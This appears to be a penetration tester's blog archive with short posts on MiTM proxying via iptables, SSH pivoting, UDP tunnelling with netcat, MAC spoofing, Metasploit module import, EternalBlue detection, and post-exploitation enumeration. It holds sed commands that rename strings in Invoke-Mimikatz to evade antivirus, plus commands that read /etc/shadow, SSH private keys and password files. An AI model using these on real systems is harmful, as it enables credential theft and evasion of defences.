MiTM Thick Client Web Services Testing.

This post walks through MiTM Thick Client Web Services Testing designed for testing thick client web applications for web services using burp and iptables on an internal engagement.

Scenario:

So you need to man in the middle web traffic for application testing on an internal test. This could be either a thick client application for web services that has no proxy settings. Or a client device that is using the system proxy settings (ie proxy settings controlled from Internet Explorer). Or proxying traffic from a client device through the browser as any other usual web application test.

In this scenario the thick client application is installed on a corporate device. So we look to setup some sort of MiTM (Man in The Middle) scenario to watch and alter the traffic as we see fit. The client device IP address must remain the same (ACLs are in place for example or you are unable to change the IP address on the client device). A simple solution to this is two use two virtual machines on your testing laptop to get around having two default gateways with the same IP on one device. With some clever iptables rules we can essentially do a double nat type affair and spoof the client device on the corporate network, at the same time spoofing the gateway for the client device. Bingo MiTM nobody is non the wiser. I talk a bit more about iptables in this post.

If DHCP is used on the client device this is significantly simpler. Rather than using the same ip address range as the corporate network you can set this to an alternative IP and thus removing the need for two virtual machines supporting the double NAT scenario.

They say a picture paints a thousand words… so to bring it all together it the scenario looks similar to this:

Example 1 Configurable proxy settings on client device:

In this example the application on the client system is using the proxy settings configured for IE or Firefox. You are able to modify these and so you can redirect traffic to the proxy of your choice on 8080 for example like so. Note Chrome uses IE system settings:

Network Configuration:

Caution: Don’t use network-manager for this. Dual homing interfaces does not play nice in network manager. Stop the network-manager service first, verify it is stopped then continue to work in the standard networking service with the interfaces file.

service network-manager status

service network-manager stop

service network-manager status

service networking status

Now continue to work using just the interfaces file with the standard networking services.

Set the mac address of the eth0 on VM2 the same as the PC mac address

Ifconfig eth0 down

macchanger –mac 08:00:27:8D:CD:53 eth0

ifconfig eth0 up

On both VM2 and VM1:

echo 1 > /proc/sys/net/ipv4/ip_forward

VM2 interfaces file:

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 172.16.0.2
gateway 172.16.0.1
netmask 255.255.255.0
dns-nameservers 8.8.8.8 8.8.4.4


auto eth1
iface eth1 inet static
address 192.168.0.2
netmask 255.255.255.0
dns-nameservers 8.8.8.8 8.8.4.4

**Gateway is always set on the forwarding interface.

VM2 iptables:

iptables -t nat -A POSTROUTING –out-interface eth0 -j MASQUERADE

VM1 interfaces file:

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
gateway 192.168.0.2
netmask 255.255.255.0
dns-nameservers 8.8.8.8 8.8.4.4

auto eth1
iface eth1 inet static
address 172.16.0.1
netmask 255.255.255.0
dns-nameservers 8.8.8.8 8.8.4.4

**Gateway is always set on the forwarding interface.

VM1 iptables configuration:

iptables -t nat -A POSTROUTING –out-interface eth0 -j MASQUERADE

Using burp set your proxy to the listening IP and port.

Example 2: No proxy Settings/Thick client App or Web Services etc..

In this example you have a thick client app that doesn’t allow you to set a proxy and doesn’t use the system proxy settings. You can use ‘prerouting’ in IP tables on VM1. This will route traffic destination port 443 and ‘redirect this to port 8081 with this command:

iptables -t nat -A PREROUTING -i eth1 -p tcp –dport 80 -j REDIRECT –to-port 8080

iptables -t nat -A PREROUTING -i eth1 -p tcp –dport 443 -j REDIRECT –to-port 8081

Then using burp configure your proxy to listen on all interfaces for 8080 and 8081 do this for as many destination ports as required. In addition to this ensure ‘Support for ‘invisible proxying’ is enabled.

Things to Remember!:

After every reboot IP forwarding and iptables will reset so check both on a restart:

cat /proc/sys/net/ipv4/ip_forward

iptables -t nat -L -v -n

To make IP forwarding persistent you can do the following:

Edit /etc/sysctl.conf and uncomment the ‘net’ line:

# Uncomment the next line to enable packet forwarding for IPv4

#net.ipv4.ip_forward=1

DNS: hostnames will need to resolve on both the client and proxy machine.

Its is useful to create a bash script for your config for each machine. Then on a reboot there is no faffery looking for the right commands simply run the bash script. Note – the nameservers are pushed to the resolve.conf to save bringing down and back up the interfaces, and restarting the networking. A sample script might look like the below:

On the proxy VM:

#!/bin/sh

service network-manager stop
echo 1 > /proc/sys/net/ipv4/ip_forward

echo nameserver 8.8.8.8 > /etc/resolv.conf

iptables -t nat -A POSTROUTING --out-interface eth0 -j MASQUERADE

iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 443 -j REDIRECT --to-port 8081

This is definitely a labs worth! Hope this helps!

15th June 201717th June 2017

Setting up a quick DHCP server in Linux with dnsmasq

This is just a short post to walk through setting up a quick DHCP server in Linux with dnsmasq. In Kali Linux 2.0 to be precisely. You can read more about dnsmasq here. Why might you want to do this? Well, couple of reasons spring to mind whilst on a pentest, setting up application testing, network boot a laptop that’s under review or setting up a wifi/rougue access point are a few that spring to mind.

First install dnsmasq with:

apt-get install dnsmasq

Then edit the dnsmasq config file with your favourite editor:

nano /etc/dnsmasq.conf

The config that we might use in a couple of different scenarios would look something similar to the below. You can comment lines out that you don’t want with a ‘#’:

interface=eth1
server=8.8.8.8
dhcp-range=192.168.101.100,192.168.101.200,12h
dhcp-boot=pxelinux.0
enable-tftp
tftp-root=/tftpboot/
dhcp-option=3,192.168.101.1
dhcp-option=6,8.8.8.8,8.8.4.4

Once you have made your changes restart the dnsmasq service with:

service dnsmasq restart

Simple. Hope this quick tip helps.

7th June 201716th July 2017

Pivoting through SSH with dynamic port forwarding.

Pivoting through SSH with dynamic port forwarding. Just a quick post about how we can pivot to an internal/dmz network through a host via SSH. This is a classic example of how we might want to pivot through one host to get to an internal or dmz network using SSH as a tunnel. We can essentially tunnel our traffic of this SSH tunnel via the compromised host to an inside network.

The scenario… A picture paints a thousand words… Essential our ‘Hkali’ machine is on the outside. Our Ubuntu Server is in the internal/dmz, this is going to be our pivot point.

So in this scenario the firewall is only allowing inbound access to our Ubuntu server, on port 22 from our attack box running Kali2.0 ‘HKali’. So from Hkali all we can see is port 22 open on 192.168.100.10. We suspect from our initial enumeration that other servers might be in this network. However, we want to check out the rest of the subnet ie ‘WS2K32’ and ‘meta’ to see whats actually there. Imagine we have compromised the ubuntu server already and have gained login details.

Starting at our attacking machine we will SSH into ‘Ubuntu’. In order to be able to forward traffic for any TCP port on through our SSH tunnel we will want to take advantage of Dynamic port forwarding and specify the ‘-D <port>’ command. This uses ‘Dynamic’ port forwarding feature of SSH. This will allow us to send other tools with Kali to localhost:1234 and thus onward onto any route able networks the ‘Ubuntu’ server can see.

Our command would look similar to the below:

ssh root@192.168.100.10 -D 1234

Before we go any further there are some useful additional options we can pass on the ubuntu server in the SSH command, these being below. However the minimum we need to specify is just the -D for dynamic forwarding:

-f: Sends the process to the background. If you do this you will have to kill the process ID rather than just closing the terminal window as it will already be closed. This is easy enough use ‘ps aux | grep ssh’ to get the process ID then ‘kill <ID number>’.
-C: Compresses the data before sending it through the tunnel, mixed success with this, so experiment.
-q: Uses quiet mode.
-N: Tells SSH that no command will be sent through once the tunnel is up.

If we take a look at our local network connections we can in fact see our ssh connections and also our localhost listening on port 1234.

We can now use a socks proxy or equivalent to proxify our traffic through the SSH tunnel and onward to the inside network. For this we will use proxychains. Lets look at how we could do this using a socks4 proxy. First a look at our proxychains configuration. Lets open up /etc/proxychains.conf and ensure the the following line is set in the last line. (note the port should be whatever you used in the SSH command after the ‘-D’.

Now we can proxify something like nmap through to the internal network. Bear in mind we can only proxify full TCP connect commands. So UDP traffic/tools such as snmp-check won’t work – however, we can proxify udp in an alternative way, I describe this here. Some tools won’t play nice with proxychains, so play around in your lab and experiment.

Enjoy!

27th May 201727th May 2017

Adding your own or custom exploits to Metasploit! Eternalblue, SambaCry?

Adding your own or custom exploits to Metasploit is easy. If your creating your own exploits for Metasploit in ruby or want to import custom exploits that you have come across that are not in the main repository then you can follow these simple steps. Why might you want to do this? Well there are certain scenarios such as if you are creating your own exploits or scan scripts. Or you want to test out the bleeding edge exploits without moving to the development edition of Metasploit. For example the ms17-010 exploit or the SambaCry for Linux are currently available to add to Metasploit however are not in the main repo’s yet (at time of writing this). This will allow you to import the ruby scripts, add them to Metasploit an run them in your own labs.

Within Kali2.0 you will have a hidden folder in your root home directory called msf4/modules. Move into this folder and then simply create the following directories .msf4/modules/exploits/windows. Also a folder for Linux respectively .msf4/modules/exploits/linux.

You can then add your ruby scripts to these folders.

Adding custom exploit scripts to Metasploit

Then fire up Metasploit and run ‘reload_all’.

relaod_all Metasploit custom exploits

You should now be able to search or call your new scripts. Remember if your database cache isn’t built follow these steps here.

Add custom exploit scripts to Metasploit ms17_010

Hope this little tip helps.

21st May 20177th June 2017

Tunnel snmp-check and other UDP traffic over SSH

Today I will be walking you through how to tunnel snmp-check and other UDP traffic over SSH.

In this example we are tunnelling UDP over SSH to circumvent firewall rules on the outside. Our firewall rules are only allowing access into the other side of the firewall to TCP port 22 on a Ubuntu server. We don’t have access to any other TCP or UDP ports. The only method of communication into the environment is via SSH to our Ubuntu server. We will use this server as jump/pivot point for other traffic. Imagine we have earlier identified through cdpsnarf using SSH dynamic port forwarding and proxychains another router, we want to enumerate this further. Our next goal in this case is to try and enumerate SNMP UDP port 161 on target router with a public community string. This example could also be applied to all sorts of UDP traffic such as DNS for example were we want to tunnel our local DNS requests to a server behind a firewall. Zone transfer maybe? tunnel snmp-check and other UDP over SSH

Attack machine: Kali Linux 192.168.200.2
Pivot Server: Ubuntu 192.168.100.10
Target: GNS3 Cisco Router 192.168.100.100

We are going to do this by sending our local UDP traffic through netcat (handling UDP) into a fifo process back into netcat (handling TCP), through the ssh tunnel then in reverse the other end. Yes I know bit of a brain teaser! You can read more about fifo files here, they are similar to pipe in linux. In essence we are sort of writing the output to a file (without actually writing anything) then sending it on its merry way through netcat via TCP then down the tunnel. Its best we see this in the flesh with an example.

We begin on the Attack machine by running up the ssh connection, here we are forwarding TCP port 6666 on localhost to TCP 6666 on the remote pivot server:

root@kali:~# ssh -L 6666:localhost:6666 user@192.168.100.10

Then on the Pivot Server we create a fifo file for netcat to talk too:

root@ubuntu:/home/user# mkfifo /tmp/fifo
root@ubuntu:/home/user# nc -l -p 6666 < /tmp/fifo | nc -u 192.168.100.100 161 > /tmp/fifo

On the Attack machine we do similar:

root@kali:~# mkfifo /tmp/fifo
root@kali:~# nc -l -u -p 161 < /tmp/fifo | nc localhost 6666 > /tmp/fifo

In second terminal on the attack machine:

Run up ‘netstat -au’ to verify snmp is listening on the local machine.

UDP netstat connections

We can then simple run snmp-check to localhost.

snmp-check 127.0.0.1

snmp-check over SSH

Looking further down the information we discover the following:
snmp-check over SSH another netowrk

Another network interface, is this possibly the internal network and route to DA..? Maybe in the next post…

Bingo UDP and snmp-check over an SSH tunnel, awesome!

10th May 20176th May 2017

Quick tip! Changing your MAC address in Windows, Linux and OSX is simple.

Changing your MAC address in Windows, Linux and OSX is simple. In this post I show you how:

For Windows:

In windows we can use PowerShell, to lookup the adapter name:

Get-NetAdapter

Then using the name of the interface we want to change specify:

Set-NetAdapter -Name "Wi-Fi" -MacAddress "1E:AT:DE:AD:BE:EF"

For Linux:

In Kali Linux we can simple run macchanger specifying the -r for random and the interface name as below:

machchanger -r wlan0

For OSX:

Open a terminal and type:

sudo ifconfig en0 1E:AT:DE:AD:BE:EF

Ace!

6th May 20176th May 2017

Avoiding AV detection when running mimikatz with sed!

In this post I will be talking about avoiding AV detection when running mimikatz with sed! I came across this on the BlackHills Information Security Website, link here. Props to Carrie Roberts for sharing this. The classic Invoke-Mimikatz.ps1 from the PowerSploit suite located here, does get detected by many Anti-Virus vendors. This really is a great for the Enterprise. However whats not so great is the way in which AV vendors are detecting it and how it can be easily bypassed! Yes AV can easily be bypassed by modifying the powershell file. Using ‘sed’ in bash we can swap out various text in the ps1 file. For example swapping out mimikatz for mimidogz as in line 1 below.

I have talked about slowing down attackers who are using mimikatz in this post. This is where we can deny access to the clear text credentials in early versions of Windows (up to windows 7). In later versions of windows (8 and above) we can deny access to the hash and the clear text credentials. This will only slow attackers down though as the OS can be modified, however this will make noise on the network. This is really is a must for slowing down attackers. Harden your systems!

Below are the sed commands:

sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1
sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1

26th April 201728th April 2017

The Shadow Brokers dump – Eternalblue, DoublePulsar – Hello SYSTEM!

Well The Shadow Brokers dump certainly tied up a proportion of time of the Easter weekend for myself and I suspect many infosec bods. It turns out the exploit framework known as fuzzbunch which was released as part of the dump is tied to the ‘Equation Group’ threat actor, the NSA’s Tailored Access Operations (TAO) according to Wikipedia. From my testing, this is the real deal and pretty effective at allow one to gain SYSTEM level access over an an unpatched supported operating system. It should be noted that many of the exploits have been patched by Microsoft in this months patch Tuesday, most notable MS17-010. Interestingly there is no attribution from Microsoft in terms of who tipped MS off about the vulnerabilities, one would question whether this was the reason why MS skipped the previous months patch Tuesday.

Utilising the exploit module Eternalblue and doublepulsar from fuzzbunch coupled with Empire or Metasploit is a quick win for gaining SYSTEM level access on any unpatched systems. If this is not patched in my view this is the next MS08-067 it terms of exploit-ability. The MS08-067 vulnerability was a classic RCE (remote code execution) and easy exploit for 9 times out 10 gaining SYSTEM level access in minutes on a pentest. In my view from my testing that I have completed in the lab with Windows 7 Professional 64bit this new vulnerability in SMB v1.0 is no different, requiring only a few extra steps. Ultimately allowing system level access in a reverse shell… yes those words should make your shudder at the thought. Ensure your systems are patched.

What is also interesting is that these tools are from 2011-2013, as they require early python versions. One can’t help but think there are a whole raft of new tools being used in the wild potentially by the other nation state threat actor groups. This point simply emphasises the need for secure configuration in addition to mandatory patching. If indeed tools like this are out in the wild we need to ensure secure configuration in the enterprise, ie segmentation, tightening host based firewalls (yes removing access to 445 on your clients), effective monitoring, to name just a few.

How can we detect Double Pulsar?

There are a couple of ways we can detect if double pulsar has been used. Using a vulnerability scanner such as Nessus we can firstly detect whether the Critical patch MS17-010 is missing:

Nessus will also detect whether double pulsar has been used on a machine by sending an SMBv1 Trans2 request .

In addition to this we can also use nmap’s scripting engine and invoke the smb-double-pulsar-backdoor to check if the target machine is running the Double Pulsar SMB backdoor:

smb-double-pulsar-backdoor

There are also some other specific detection scripts available on github by Luke Jennings available here and a auxiliary scanning module in Metasploit for detecting MS17-010 auxiliary/scanner/smb/smb_ms17_010.

How can we mitigate this threat?

Patch Patch and Patch some more, can’t emphasis this enough.
Stop using SMB1 as describing and advised by Microsoft in this blog post.
If you have SMB port 445 exposed on any systems review why and ensure only systems that need to access this port have access. Do your windows 7 clients really need this port?
Ensure your Firewalls are switched on and appropriate firewall configuration is in place. ie don’t just switch it on and allow everything through in any case.
Migrate your out of support systems XP and 2003 to new supported versions of MS Operating Systems.

Additional info from Microsoft on the Shadow Brokers was released here.

12th April 201728th April 2017

Linux Host Enumeration (Authenticated Post-Exploitation)

On a pentest once you have compromised a Linux host there stands a good chance you will want to go through further ‘Linux Host Enumeration’ from an authenticated position. If you have gained an unprivileged user shell such as a web user you are most likely also going to want to escalate your privileges to root or a higher privileged account and gather as much info as possible. The first stages of this are situational awareness and information gathering based on what you have right in front of you, ie starting with host enumeration. Now whether you have grown up with a Windows or a Linux background, you will probably be more au fait with one or the other. I tend to find as with myself people tend to fall into one camp or the other, probably simple due to the exposure and experience you have had with one or the other in the past. And the need to practice with the other, not so au fait side, is essential. For me I was more exposed to windows boxes.

This post will hopefully guide you through some of what I have learned with host enumeration for Linux operating systems, in this instance Debian Ubuntu. Commands will vary from distro to distro, however, this will give you a taste. Of course please feel free to comment on this particular post with what I have missed and I will be sure to update the post.

Starting on a Ubuntu 14.04 machine as root we would be looking to run the following, (some may seem obvious) however; this isn’t meant to be an exhaustive list more of a top commands:

System Information:

hostname
uname -a
cat /etc/*-release
cat /proc/version
route
arp
ifconfig
netstat -antp
netstat -anup
iptables -L
mount
dpkg -l
apache2 -v
mysql –version
cat /etc/resolv.conf
cat /etc/network/interfaces

User Information:

id
who
last
cat /etc/passwd (you will need a privilege account for this one!)
cat /etc/sudoers
cat history

Sensitive Files:

cat /etc/passwd
cat /etc/group
cat /etc/shadow

Potential SSH information:

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

12th February 201730th April 2017

Searching for password files in PowerShell on a Penetration test!

Searching for password files in PowerShell

Searching for password files in PowerShell, can be particularly useful especially for post exploitation recon phase of an engagement. PowerShell is great tool for a penetration tester. Its post exploitation capabilities has grown exceptionally over the last few years. During the course of a penetration test once you have compromised a windows host there is a good chance that you will want to enumerate the host system further and gather as much information as possible. If you have access to a low privilege user you are likely going to want to escalation your privileges to higher account. This being known as post-exploitation. This will almost always likely include searching the local system for passwords. We will want to search for xlsx, docx are classics. Sure we can use the windows built-in gui however we can also use PowerShell. We can use the following syntax in PowerShell to search for files with the text ‘password’ in the filename, just like below. We use the wildcard ‘*’ either end of the ‘passwords’ so we can search for variations in the file name. Ace!

Get-ChildItem "C:\Users\" -recurse -filter *passwords*.txt

Simple, quick and very effective, this needs to be in your cheetsheet!